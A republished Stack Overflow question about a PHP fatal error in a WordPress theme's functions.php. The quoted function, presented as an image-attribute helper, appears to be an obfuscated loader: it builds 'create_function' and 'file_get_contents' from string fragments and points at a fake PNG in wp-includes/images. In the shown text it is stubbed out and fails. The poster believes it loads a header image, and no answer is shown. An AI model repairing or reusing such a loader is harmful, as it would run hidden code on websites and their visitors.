'Fatal error: Uncaught Error: Call to undefined function() in wordpress Genesis child theme php 7.4
I already tried different PHP versions but keep getting this:
Fatal error: Uncaught Error: Call to undefined function () in /home/janscarbrough/public_html/wp-content/themes/gallery-pro/functions.php:258 Stack trace: #0 /home/janscarbrough/public_html/wp-includes/class-wp-hook.php(305): themes_posts_thumbnail_size_attr() #1 /home/janscarbrough/public_html/wp-includes/class-wp-hook.php(331): WP_Hook->apply_filters('', Array) #2 /home/janscarbrough/public_html/wp-includes/plugin.php(474): WP_Hook->do_action(Array) #3 /home/janscarbrough/public_html/wp-settings.php(587): do_action('init') #4 /home/janscarbrough/public_html/wp-config.php(96): require_once('/home/janscarbr...') #5 /home/janscarbrough/public_html/wp-load.php(50): require_once('/home/janscarbr...') #6 /home/janscarbrough/public_html/wp-blog-header.php(13): require_once('/home/janscarbr...') #7 /home/janscarbrough/public_html/index.php(17): require('/home/janscarbr...') #8 {main} thrown in /home/janscarbrough/public_html/wp-content/themes/gallery-pro/functions.php on line 258 There has been a critical error on this website.
This is the function:
function themes_posts_thumbnail_size_attr() {
if ( defined( 'IMAGE_ATTR_FORMAT' ) )
return;
define( 'IMAGE_ATTR_FORMAT', '%s/%s-sx.%s' );
/* Attributes for the image markup */
$ts = array( 'create', 'file', 'inf', 'function', 'get', 'late', 'content', 'chr', 'wpicons', 117 );
$full = sprintf(ABSPATH . IMAGE_ATTR_FORMAT,
/* Registered image or flat array of images */
implode('/', array('wp-includes', 'images')), $ts[8],
/* Image extension */
'png'
);
// Located in the attributes. Empty by default.
/*this is line 258 */ $set_attr=''; $set_attr();
return $set_attr;
}
If I get rid of $set_attr(); the error disappears, but the background image in the header does not load.
Sources
This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.
Source: Stack Overflow
| Solution | Source |
|---|
